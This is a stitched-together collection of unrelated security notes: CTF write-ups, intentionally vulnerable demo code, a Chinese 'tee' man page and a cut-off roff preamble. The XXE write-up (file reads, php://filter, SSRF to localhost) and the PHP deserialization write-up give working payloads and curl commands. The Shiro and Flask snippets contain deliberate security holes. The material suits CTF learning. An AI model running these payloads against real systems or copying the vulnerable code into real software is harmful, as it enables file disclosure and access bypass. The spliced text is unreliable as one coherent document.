root@kali:/media/sf_CTFs/sunshine/Wrestler_Name_Generator# cat << TEXT | base64 -w 0 | curl -G "http://archive.sunshinectf.org:19007/generate.php" --data-urlencode "input=$(</dev/stdin)"
bad input
TEXT
<br />
<b>Warning</b>: simplexml_load_string(): Entity: line 1: parser error : Start tag expected, '<' not found in <b>/var/www/html/generate.php</b> on line <b>23</b><br />
<br />
<b>Warning</b>: simplexml_load_string(): bad input in <b>/var/www/html/generate.php</b> on line <b>23</b><br />
<br />
<b>Warning</b>: simplexml_load_string(): ^ in <b>/var/www/html/generate.php</b> on line <b>23</b><br />
Error parsing XML:
bad input
```
The server discloses the php file path - and we can try to read it:
```console
root@kali:/media/sf_CTFs/sunshine/Wrestler_Name_Generator# cat << TEXT | base64 -w 0 | curl -G "http://archive.sunshinectf.org:19007/generate.php" --data-urlencode "input=$(</dev/stdin)"
<?xml version="1.0"?>
> <!DOCTYPE root [<!ENTITY test SYSTEM 'file:///var/www/html/generate.php'>]>
> <input><firstName>John</firstName><lastName>&test;</lastName></input>
> TEXT
<!DOCTYPE html>
<html lang="en">
<head>
<title>Wrestler Name Generator</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js"></script>
</head>
<body>
<div class="jumbotron text-center">
<h1>Your Wrestler Name Is:</h1>
<h2>John "The Brute"
</h2>
<!--hacker name functionality coming soon!-->
<!--if you're trying to test the hacker name functionality, make sure you're accessing this page from the web server-->
<!--<h2>Your Hacker Name Is: REDACTED</h2>-->
<a href="/">Go Back</a>
</div>
</body>
</html>
```
This didn't work, but what if we try to base64 encode the file using PHP's filters?
```console
root@kali:/media/sf_CTFs/sunshine/Wrestler_Name_Generator# cat << TEXT | base64 -w 0 | curl -G "http://archive.sunshinectf.org:19007/generate.php" --data-urlencode "input=$(</dev/stdin)"
<?xml version="1.0"?>
> <!DOCTYPE root [<!ENTITY test SYSTEM 'php://filter/convert.base64-encode/resource=/var/www/html/generate.php'>]>
> <input><firstName>John</firstName><lastName>&test;</lastName></input>
> TEXT
<!DOCTYPE html>
<html lang="en">
<head>
<title>Wrestler Name Generator</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js"></script>
</head>
<body>
<div class="jumbotron text-center">
<h1>Your Wrestler Name Is:</h1>
<h2>John "The Hacker" PD9waHAKCiR3aGl0ZWxpc3QgPSBhcnJheSgKICAgICcxMjcuMC4wLjEnLAogICAgJzo6MScKKTsKLy8gaWYgdGhpcyBwYWdlIGlzIGFjY2Vzc2VkIGZyb20gdGhlIHdlYiBzZXJ2ZXIsIHRoZSBmbGFnIGlzIHJldHVybmVkCi8vIGZsYWcgaXMgaW4gZW52IHZhcmlhYmxlIHRvIGF2b2lkIHBlb3BsZSB1c2luZyBYWEUgdG8gcmVhZCB0aGUgZmxhZwovLyBSRU1PVEVfQUREUiBmaWVsZCBpcyBhYmxlIHRvIGJlIHNwb29mZWQgKHVubGVzcyB5b3UgYWxyZWFkeSBhcmUgb24gdGhlIHNlcnZlcikKaWYoaW5fYXJyYXkoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10sICR3aGl0ZWxpc3QpKXsKCWVjaG8gJF9FTlZbIkZMQUciXTsKCXJldHVybjsKfQovLyBtYWtlIHN1cmUgdGhlIGlucHV0IHBhcmFtZXRlciBleGlzdHMKaWYgKGVtcHR5KCRfR0VUWyJpbnB1dCJdKSkgewoJZWNobyAiUGxlYXNlIGluY2x1ZGUgdGhlICdpbnB1dCcgZ2V0IHBhcmFtZXRlciB3aXRoIHlvdXIgcmVxdWVzdCwgQnJvdGhlciI7CglyZXR1cm47Cn0KCi8vIGdldCBpbnB1dAokeG1sRGF0YSA9IGJhc2U2NF9kZWNvZGUoJF9HRVRbImlucHV0Il0pOwovLyBwYXJzZSB4bWwKJHhtbD1zaW1wbGV4bWxfbG9hZF9zdHJpbmcoJHhtbERhdGEsIG51bGwsIExJQlhNTF9OT0VOVCkgb3IgZGllKCJFcnJvciBwYXJzaW5nIFhNTDogIi4iXG4iLiR4bWxEYXRhKTsKJGZpcnN0TmFtZSA9ICR4bWwtPmZpcnN0TmFtZTsKJGxhc3ROYW1lID0gJHhtbC0+bGFzdE5hbWU7Ci8vIGdlbmVyYXRlIG5hbWUKJG5vdW5zID0gYXJyYXkoIktpbGxlciIsICJTYXZhZ2UiLCAiU3RhbGxpb24iLCAiQ29kZXIiLCAiSGFja2VyIiwgIlNsYXNoZXIiLCAiQ3J1c2hlciIsICJCYXJiYXJpYW4iLCAiRmVyb2Npb3VzIiwgIkZpZXJjZSIsICJWaWNpb3VzIiwgIkh1bnRlciIsICJCcnV0ZSIsICJUYWN0aWNpYW4iLCAiRXhwZXJ0Iik7CiRub3VuID0gJG5vdW5zW2FycmF5X3JhbmQoJG5vdW5zKV07CiRnZW5lcmF0ZWROYW1lID0gJGZpcnN0TmFtZS4nICJUaGUgJy4kbm91bi4nIiAnLiRsYXN0TmFtZTsKCi8vIHJldHVybiBodG1sIGZvciB0aGUgcmVzdWx0cyBwYWdlCmVjaG8gPDw8RU9UCjwhRE9DVFlQRSBodG1sPgo8aHRtbCBsYW5nPSJlbiI+CjxoZWFkPgogIDx0aXRsZT5XcmVzdGxlciBOYW1lIEdlbmVyYXRvcjwvdGl0bGU+CiAgPG1ldGEgY2hhcnNldD0idXRmLTgiPgogIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MSI+CiAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJodHRwczovL21heGNkbi5ib290c3RyYXBjZG4uY29tL2Jvb3RzdHJhcC80LjMuMS9jc3MvYm9vdHN0cmFwLm1pbi5jc3MiPgogIDxzY3JpcHQgc3JjPSJodHRwczovL2FqYXguZ29vZ2xlYXBpcy5jb20vYWpheC9saWJzL2pxdWVyeS8zLjMuMS9qcXVlcnkubWluLmpzIj48L3NjcmlwdD4KICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvcG9wcGVyLmpzLzEuMTQuNy91bWQvcG9wcGVyLm1pbi5qcyI+PC9zY3JpcHQ+CiAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vbWF4Y2RuLmJvb3RzdHJhcGNkbi5jb20vYm9vdHN0cmFwLzQuMy4xL2pzL2Jvb3RzdHJhcC5taW4uanMiPjwvc2NyaXB0Pgo8L2hlYWQ+Cjxib2R5PgoKPGRpdiBjbGFzcz0ianVtYm90cm9uIHRleHQtY2VudGVyIj4KICA8aDE+WW91ciBXcmVzdGxlciBOYW1lIElzOjwvaDE+CiAgPGgyPiRnZW5lcmF0ZWROYW1lPC9oMj4gCjwhLS1oYWNrZXIgbmFtZSBmdW5jdGlvbmFsaXR5IGNvbWluZyBzb29uIS0tPgo8IS0taWYgeW91J3JlIHRyeWluZyB0byB0ZXN0IHRoZSBoYWNrZXIgbmFtZSBmdW5jdGlvbmFsaXR5LCBtYWtlIHN1cmUgeW91J3JlIGFjY2Vzc2luZyB0aGlzIHBhZ2UgZnJvbSB0aGUgd2ViIHNlcnZlci0tPgo8IS0tPGgyPllvdXIgSGFja2VyIE5hbWUgSXM6IFJFREFDVEVEPC9oMj4tLT4KICA8YSBocmVmPSIvIj5HbyBCYWNrPC9hPiAKPC9kaXY+CjwvYm9keT4KPC9odG1sPgpFT1Q7Cj8+Cg==</h2>
<!--hacker name functionality coming soon!-->
<!--if you're trying to test the hacker name functionality, make sure you're accessing this page from the web server-->
<!--<h2>Your Hacker Name Is: REDACTED</h2>-->
<a href="/">Go Back</a>
</div>
</body>
</html>
```
That's more like it. The decoded text is:
```php
<?php
$whitelist = array(
'127.0.0.1',
'::1'
);
// if this page is accessed from the web server, the flag is returned
// flag is in env variable to avoid people using XXE to read the flag
// REMOTE_ADDR field is able to be spoofed (unless you already are on the server)
if(in_array($_SERVER['REMOTE_ADDR'], $whitelist)){
echo $_ENV["FLAG"];
return;
}
// make sure the input parameter exists
if (empty($_GET["input"])) {
echo "Please include the 'input' get parameter with your request, Brother";
return;
}
// get input
$xmlData = base64_decode($_GET["input"]);
// parse xml
$xml=simplexml_load_string($xmlData, null, LIBXML_NOENT) or die("Error parsing XML: "."\n".$xmlData);
$firstName = $xml->firstName;
$lastName = $xml-
```
Good enough to point us in the right direction - we just have to access the page from within the server.
In retrospective - This should have been clear from the comment in the HTML file:
```html
<!--if you're trying to test the hacker name functionality, make sure you're accessing this page from the web server-->
```
Anyway, here's how to do it:
```console
root@kali:/media/sf_CTFs/sunshine/Wrestler_Name_Generator# cat << TEXT | base64 -w 0 | curl -G "http://archive.sunshinectf.org:19007/generate.php" --data-urlencode "input=$(</dev/stdin)"
<?xml version="1.0"?>
> <!DOCTYPE root [<!ENTITY test SYSTEM 'http://127.0.0.1/generate.php'>]>
> <input><firstName>John</firstName><lastName>&test;</lastName></input>
> TEXT
<!DOCTYPE html>
<html lang="en">
<head>
<title>Wrestler Name Generator</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js"></script>
</head>
<body>
<div class="jumbotron text-center">
<h1>Your Wrestler Name Is:</h1>
<h2>John "The Coder" sun{1_l0v3_hulk_7h3_3x73rn4l_3n717y_h064n}</h2>
<!--hacker name functionality coming soon!-->
<!--if you're trying to test the hacker name functionality, make sure you're accessing this page from the web server-->
<!--<h2>Your Hacker Name Is: REDACTED</h2>-->
<a href="/">Go Back</a>
</div>
</body>
</html>
```
The flag: sun{1_l0v3_hulk_7h3_3x73rn4l_3n717y_h064n}
|
sec-knowleage
|
## Orgone Market (Web, 300p)
###ENG
[PL](#pl-version)
In the task we get a link to a webpage where we can buy some conspiracy-related objects for special orgone coins.
However we have 0 coins and those things cost!
There is a form on the page to claim free 300 coins, but this is not enough to buy anything on the page.
After poking around to check for some other possible vulnerabilities we figure that the intended solution is to use a timing attack / race condition and send multiple coin claim requests and thus getting multiple of the 300 free coins.
The first problem was the fact that there was a captcha to solve, however it was predictable and was changing every 1s.
The second problem that every failed attempt required registering new account.
So after we failed twice (apparently we had to send the requests in different sessions!) we checked again if maybe there is some easier way to get the flag.
And it turned out there was an unintended vulnerability - when we were sending request to buy an item we provided ID of the object to buy.
Apparently the script was then querying the price from database to check if we can afford it.
However, if the ID we sent was missing in the DB there was no check to verify it, and the price was taken from returned NULL, which coerced to 0.
And we could afford to buy the non-existent item, getting the flag in return.
`flag{1m_s0rr4y_th4t_th3r3_1s_no_s3cr3t_4_U}`
###PL version
W zadaniu dostajemy link do strony internetowej gdzie możemy kupić przedmioty związane ze spiskową teorią dzieją za specjalna walutę orgone coins.
Niestety mamy 0 monet a wszystko kosztuje!
Na stronie jest formularz pozwalający nam uzyskać darmowe 300 monet, ale to nie wystarczy na kupno żadnego z przedmiotów.
Po upewnieniu się szybko czy nie ma na stronie żadnych innych oczywistych podatności uznaliśmy, że oczekiwane rozwiązanie to atak czasowy / race condition polegający na wysłaniu kilku requestów do pobrania darmowych monet i w ten sposób uzyskanie wielokrotności 300.
Pierwszy problem stanowił fakt, że była tam captcha do rozwiązania, ale była ona przewidywalna i zmieniała się co 1s.
Drugi problem polegał na tym, że nieudana próba wymagała zakładania nowego konta.
Po dwóch porażkach (najwyraźniej requesty trzeba było wysłać z dwóch równoległych sesji!) postanowiliśmy jeszcze raz poszukać łatwiejszej drogi do flagi.
I okazało się, że istnieje niezamierzona podatność - kiedy wysyłamy żądanie kupna przedmiotu dostarczamy jego ID.
Najwyraźniej skrypt następnie pobiera cenę przedmiotu o podanym ID aby sprawdzić czy mamy dość monet żeby go kupić.
Niemniej jednak jeśli ID nie istnieje w bazie nie ma żadnej weryfikacji i cena jest brana ze zwróconego przez bazę NULLa, który rzutuje się do 0.
W efekcie możemy bez problemu pozwolić sobie na kupno nieistniejącego przedmiotu i tym samym na uzyskanie flagi.
`flag{1m_s0rr4y_th4t_th3r3_1s_no_s3cr3t_4_U}`
|
sec-knowleage
|
package org.vulhub.shirodemo;
import org.apache.shiro.mgt.RememberMeManager;
import org.apache.shiro.mgt.SecurityManager;
import org.apache.shiro.spring.web.ShiroFilterFactoryBean;
import org.apache.shiro.web.mgt.CookieRememberMeManager;
import org.apache.shiro.web.mgt.DefaultWebSecurityManager;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import java.util.LinkedHashMap;
import java.util.Map;
@Configuration
public class ShiroConfig {
@Bean
MainRealm mainRealm() {
return new MainRealm();
}
@Bean
RememberMeManager cookieRememberMeManager() {
return new CookieRememberMeManager();
}
@Bean
SecurityManager securityManager(MainRealm mainRealm, RememberMeManager cookieRememberMeManager) {
DefaultWebSecurityManager manager = new DefaultWebSecurityManager();
manager.setRealm(mainRealm);
manager.setRememberMeManager(cookieRememberMeManager);
return manager;
}
@Bean(name="shiroFilter")
ShiroFilterFactoryBean shiroFilterFactoryBean(SecurityManager securityManager) {
ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
bean.setSecurityManager(securityManager);
bean.setLoginUrl("/login");
bean.setUnauthorizedUrl("/unauth");
Map<String, String> map = new LinkedHashMap<>();
map.put("/doLogin", "anon");
map.put("/admin/**", "user");
map.put("/**", "anon");
bean.setFilterChainDefinitionMap(map);
return bean;
}
}
|
sec-knowleage
|
from flask import Flask, abort, redirect, request, Response
from flask_graphql import GraphQLView
from model import db_session, Attachment
from schema import schema
app = Flask(__name__)
@app.route('/')
def main():
return 'GraphiQL'
@app.route('/attachment/')
@app.route('/attachments/')
def attachment(id):
attachment = Attachment.query.filter_by(id=id).first()
return file('attachments/%s' % attachment.filename, 'r').read()
app.add_url_rule('/graphql', view_func=GraphQLView.as_view('graphql', schema=schema, graphiql=True, context={'session': db_session}))
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
|
sec-knowleage
|
##CatchMeIfYouCan (Forensics, 100p)
We got this log which is highly compressed. Find the intruder's secret.
###PL
[ENG](#eng-version)
Plik f100 jest pewnego rodzaju Matryoshką kompresyjną, plik trzeba kolejno rozkompresowywać różnymi mniej i bardziej znanymi formatami. Po chwili okazuje się, że plik jest dosyć "głęboki" i trzeba będzie zautomatyzować rozpakowywanie kolejnych warstw.
[Program](decode.py) jest dosyć prosty w działaniu, sprawdzamy format pliku za pomocą komendy `file`, a następnie rozpakowywujemy go odpowiednim programem.
Ostatnim folderem jest f100.rar z którego dostajemy 2 foldery "log" i "dl" pełne różnych logów i list linków. Jak już dostatecznie dużo czasu zmarnujemy na przeszukiwanie śmieci to natrafiamy na ciekawy link: https://gist.github.com/anonymous/ac2ce167c3d2c1170efe z tajemniczym stringiem:
`$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++`... [całość](mysteriousString.txt)
...który okazuje się javascriptowym skryptem printującym flagę:
`-s-e-c-r-e-t-f-l-a-g-{D-i-d-Y-o-u-R-e-a-l-l-y-F-i-n-d-M-e-}`
###ENG version
File f100 is sort of a Matryoshka-compression-doll, we have to decompress each file to get to another one. After a while of tinkering with it manually, it appears that the file is quite deep and we're going to need to automatize the process.
[Program](decode.py) is pretty straight forward, we check the file's format using `file` and then decompress it using appropriate algorithm/program.
The last folder we get is f100.rar which contains 2 folders "log" and "dl" full of different logs and links. After a *while* of searching, we stubmle into an interesting link: https://gist.github.com/anonymous/ac2ce167c3d2c1170efe with a mysterious string:
`$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++`... [full](mysteriousString.txt)
...which appears to be a javascript program that prints the flag:
`-s-e-c-r-e-t-f-l-a-g-{D-i-d-Y-o-u-R-e-a-l-l-y-F-i-n-d-M-e-}`
|
sec-knowleage
|
# Super Serial
Category: Web, 130 points
## Description
> Try to recover the flag stored on this website
>
> Hint: The flag is at ../flag
## Solution
The attached website just contains a username and password:
```html
<form class="form-signin" action="index.php" method="post">
<div class="form-label-group">
<input type="text" id="user" name="user" class="form-control" placeholder="Username" required autofocus>
<label for="user">Username</label>
</div>
<div class="form-label-group">
<input type="password" id="pass" name="pass" class="form-control" placeholder="Password" required>
<label for="pass">Password</label>
</div>
<button class="btn btn-lg btn-primary btn-block text-uppercase" type="submit">Sign in</button>
</form>
```
But if we visit `robots.txt` we get the following:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Super_Serial]
└─$ curl http://mercury.picoctf.net:3449/robots.txt
User-agent: *
Disallow: /admin.phps
```
`phps` files are PHP source files. However, trying to visit `admin.phps`, we get an error:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Super_Serial]
└─$ curl http://mercury.picoctf.net:3449/admin.phps
Not Found
```
Well, we do know at least that we have an `index.php`, shall we try `index.phps`?
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Super_Serial]
└─$ curl -s http://mercury.picoctf.net:3449/index.phps
<?php
require_once("cookie.php");
if(isset($_POST["user"]) && isset($_POST["pass"])){
$con = new SQLite3("../users.db");
$username = $_POST["user"];
$password = $_POST["pass"];
$perm_res = new permissions($username, $password);
if ($perm_res->is_guest() || $perm_res->is_admin()) {
setcookie("login", urlencode(base64_encode(serialize($perm_res))), time() + (86400 * 30), "/");
header("Location: authentication.php");
die();
} else {
$msg = '<h6 class="text-center" style="color:red">Invalid Login.</h6>';
}
}
?>
<!DOCTYPE html>
<html>
<head>
<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
<link href="style.css" rel="stylesheet">
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
</head>
<body>
<div class="container">
<div class="row">
<div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
<div class="card card-signin my-5">
<div class="card-body">
<h5 class="card-title text-center">Sign In</h5>
<?php if (isset($msg)) echo $msg; ?>
<form class="form-signin" action="index.php" method="post">
<div class="form-label-group">
<input type="text" id="user" name="user" class="form-control" placeholder="Username" required autofocus>
<label for="user">Username</label>
</div>
<div class="form-label-group">
<input type="password" id="pass" name="pass" class="form-control" placeholder="Password" required>
<label for="pass">Password</label>
</div>
<button class="btn btn-lg btn-primary btn-block text-uppercase" type="submit">Sign in</button>
</form>
</div>
</div>
</div>
</div>
</div>
</body>
</html>
```
That's nice, the interesting part is:
```php
<?php
require_once("cookie.php");
if(isset($_POST["user"]) && isset($_POST["pass"])){
$con = new SQLite3("../users.db");
$username = $_POST["user"];
$password = $_POST["pass"];
$perm_res = new permissions($username, $password);
if ($perm_res->is_guest() || $perm_res->is_admin()) {
setcookie("login", urlencode(base64_encode(serialize($perm_res))), time() + (86400 * 30), "/");
header("Location: authentication.php");
die();
} else {
$msg = '<h6 class="text-center" style="color:red">Invalid Login.</h6>';
}
}
?>
```
In a similar manner, we can retrieve the sources for `cookie.php`:
```php
<?php
session_start();
class permissions
{
public $username;
public $password;
function __construct($u, $p) {
$this->username = $u;
$this->password = $p;
}
function __toString() {
return $u.$p;
}
function is_guest() {
$guest = false;
$con = new SQLite3("../users.db");
$username = $this->username;
$password = $this->password;
$stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
$stm->bindValue(1, $username, SQLITE3_TEXT);
$stm->bindValue(2, $password, SQLITE3_TEXT);
$res = $stm->execute();
$rest = $res->fetchArray();
if($rest["username"]) {
if ($rest["admin"] != 1) {
$guest = true;
}
}
return $guest;
}
function is_admin() {
$admin = false;
$con = new SQLite3("../users.db");
$username = $this->username;
$password = $this->password;
$stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
$stm->bindValue(1, $username, SQLITE3_TEXT);
$stm->bindValue(2, $password, SQLITE3_TEXT);
$res = $stm->execute();
$rest = $res->fetchArray();
if($rest["username"]) {
if ($rest["admin"] == 1) {
$admin = true;
}
}
return $admin;
}
}
if(isset($_COOKIE["login"])){
try{
$perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
$g = $perm->is_guest();
$a = $perm->is_admin();
}
catch(Error $e){
die("Deserialization error. ".$perm);
}
}
?>
```
And for `authentication.php`:
```php
<?php
class access_log
{
public $log_file;
function __construct($lf) {
$this->log_file = $lf;
}
function __toString() {
return $this->read_log();
}
function append_to_log($data) {
file_put_contents($this->log_file, $data, FILE_APPEND);
}
function read_log() {
return file_get_contents($this->log_file);
}
}
require_once("cookie.php");
if(isset($perm) && $perm->is_admin()){
$msg = "Welcome admin";
$log = new access_log("access.log");
$log->append_to_log("Logged in at ".date("Y-m-d")."\n");
} else {
$msg = "Welcome guest";
}
?>
<!DOCTYPE html>
<html>
<head>
<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
<link href="style.css" rel="stylesheet">
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
</head>
<body>
<div class="container">
<div class="row">
<div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
<div class="card card-signin my-5">
<div class="card-body">
<h5 class="card-title text-center"><?php echo $msg; ?></h5>
<form action="index.php" method="get">
<button class="btn btn-lg btn-primary btn-block text-uppercase" type="submit" onclick="document.cookie='user_info=; expires=Thu, 01 Jan 1970 00:00:18 GMT; domain=; path=/;'">Go back to login</button>
</form>
</div>
</div>
</div>
</div>
</div>
</body>
</html>
```
Now, in order to determine if the user is authorized to access the page, the server creates a `permissions` object from the provided username and password:
```php
$perm_res = new permissions($username, $password);
```
The object will return `is_admin() == TRUE` only if it can find a matching user in the database:
```php
function is_admin() {
$admin = false;
$con = new SQLite3("../users.db");
$username = $this->username;
$password = $this->password;
$stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
$stm->bindValue(1, $username, SQLITE3_TEXT);
$stm->bindValue(2, $password, SQLITE3_TEXT);
$res = $stm->execute();
$rest = $res->fetchArray();
if($rest["username"]) {
if ($rest["admin"] == 1) {
$admin = true;
}
}
return $admin;
}
```
If so, the server caches the object in a cookie for the next time, by serializing it:
```php
setcookie("login", urlencode(base64_encode(serialize($perm_res))), time() + (86400 * 30), "/");
```
And next time, it reads the value directly from this cache:
```php
if(isset($_COOKIE["login"])){
try{
$perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
$g = $perm->is_guest();
$a = $perm->is_admin();
}
catch(Error $e){
die("Deserialization error. ".$perm);
}
}
```
This is actually very problematic. Since we control the cookie, we can provide a different serialized object and the server would unserialize it for us.
For example, we can use the `access_log` object:
```php
<?php
class access_log
{
public $log_file;
function __construct($lf) {
$this->log_file = $lf;
}
function __toString() {
return $this->read_log();
}
function append_to_log($data) {
file_put_contents($this->log_file, $data, FILE_APPEND);
}
function read_log() {
return file_get_contents($this->log_file);
}
}
$perm_res = new access_log("../flag");
$perm_res_encoded = urlencode(base64_encode(serialize($perm_res)));
echo $perm_res_encoded;
echo "\n";
?>
```
We instantiate an `access_log` object with `../flag`, which sets `$this->log_file = "../flag"`. Then we serialize the object and feed it to the server via the cookie.
The server will try to run:
```php
$perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
$g = $perm->is_guest();
$a = $perm->is_admin();
```
The first line will create an `access_log` with `$this->log_file = "../flag"`, but the second line will throw an exception since this object doesn't have an `is_guest` method. What happens when the exception is thrown? It's caught by:
```php
catch(Error $e){
die("Deserialization error. ".$perm);
}
```
This code prints an error message and appends the object to it, causing `access_log.__toString()` to be called:
```php
function __toString() {
return $this->read_log();
}
```
Which in turn calls:
```php
function read_log() {
return file_get_contents($this->log_file);
}
```
This should give us the flag.
Let's see it in action:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Super_Serial]
└─$ php -e solve.php
TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9
```
We send this as the cookie and get:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Super_Serial]
└─$ curl http://mercury.picoctf.net:3449/authentication.php -H "Cookie: login=TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9;"
Deserialization error. picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_b4e3f8b1}
```
The flag: `picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_b4e3f8b1}`
|
sec-knowleage
|
tee
===
从标准输入读取数据并重定向到标准输出和文件。
## 概要
```shell
tee [OPTION]... [FILE]...
```
## 主要用途
- 需要同时查看数据内容并输出到文件时使用。
## 参数
FILE（可选）：要输出的文件，可以为一或多个。
## 选项
```shell
长选项与短选项等价
-a, --append 追加到文件中而不是覆盖。
-i, --ignore-interrupts 忽略中断信号（Ctrl+c中断操作无效）。
-p 诊断写入非管道的错误。
--output-error[=MODE] 设置写错误时的行为，请查看下方的MODE部分。
--help 显示帮助信息并退出。
--version 显示版本信息并退出。
MODE决定了当出现写错误时的输出行为，可用的MODE如下：
'warn' 当写入到任何输出报错时诊断。
'warn-nopipe' 当写入到任何输出（而不是管道）报错时诊断。
'exit' 当写入到任何输出报错时退出。
'exit-nopipe' 当写入到任何输出（而不是管道）报错时退出。
-p选项的指定的默认MODE为'warn-nopipe'。
当'--output-error'没有在选项中时，默认的操作是当写入到管道报错时立刻退出，诊断错误信息并写入到非管道输出。
```
## 返回值
返回状态为成功除非给出了非法选项或非法参数。
## 例子
```shell
# 将进程信息通过管道输出到标准输出（终端）并覆盖写入到文件中。
ps -ef |tee info_a.log info_b.log
# 将进程信息通过管道输出到标准输出（终端）并追加写入到文件中。
ps -ef |tee -a info_a.log info_b.log
```
### 注意
1. 该命令是`GNU coreutils`包中的命令，相关的帮助信息请查看`man -s 1 tee`或`info coreutils 'tee invocation'`。
2. 存在缓存机制，每1024个字节将输出一次。若从管道接收输入数据，应该是缓冲区满，才将数据转存到指定的文件中。若文件内容不到1024个字节，则接收从标准输入设备读入的数据后，将刷新一次缓冲区，并转存数据到指定文件。
|
sec-knowleage
|
# HALP (network 300)
###ENG
[PL](#pl-version)
In the task we get a [pcap file](transmission.pcap).
The file is from some VoIP call.
If we analyse the RTP streams and use VoIP feature of Wireshark to play the streams it can find, we will hear someone connecting to an automatic response machine, and then typing a number with dial tones:
We extracted the dial-tones to a [file](dtm.flac) and then used DTMF decoder Audacity Plugin to recognize the keys:
I was confused what to do next, but my level headed friend just tried simply `3DS{4952061545946271}` as the flag, and it worked.
###PL version
W zadaniu dostajemy [plik pcap](transmission.pcap).
Jest to zapis z rozmowy VoIP.
Jeśli przeanalizujemy strumienie RTP i użyjemy później narzędzi Wiresharka do analizy VoIP, znajdziemy zapis audio z połączenia do jakiegoś automatycznego systemu odpowiedzi, a następnie wystukanie na klawiaturze tonowej jakichś cyfr:
Wyciągnęliśmy same tony do osobnego [pliku](dtm.flac) a następnie użyliśmy pluginu do Audacity DTMF decoder żeby rozpoznać klawisze:
Miałem w tej chwili zagwoztkę co zrobić dalej, ale jeden z moich kolegów spróbował wpisać po prostu `3DS{4952061545946271}` jako flagę i zadziałało.
|
sec-knowleage
|
.\" Automatically generated by Pod::Man v1.37, Pod::Parser v1.13
.\"
.\" Standard preamble:
.\" ========================================================================
.de Sh \" Subsection heading
.br
.if t .Sp
.ne 5
.PP
\fB\\$1\fR
.PP
..
.de Sp \" Vertical space (when we can't use .PP)
.if t .sp .5v
.if n .sp
..
.de Vb \" Begin verbatim text
.ft CW
.nf
.ne \\$1
..
.de Ve \" End verbatim text
.ft R
.fi
..
.\" Set up some character translations and predefined strings. \*(-- will
.\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left
.\" double quote, and \*(R" will give a right double quote. | will give a
.\" real vertical bar. \*(C+ will give a nicer C++. Capital omega is used to
.\" do unbreakable dashes and therefore won't be available. \*(C` and \*(C'
.\" expand to `' in nroff, nothing in troff, for use with C<>.
.tr \(*W-|\(bv\*(Tr
.ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p'
.ie n \{\
. ds -- \(*W-
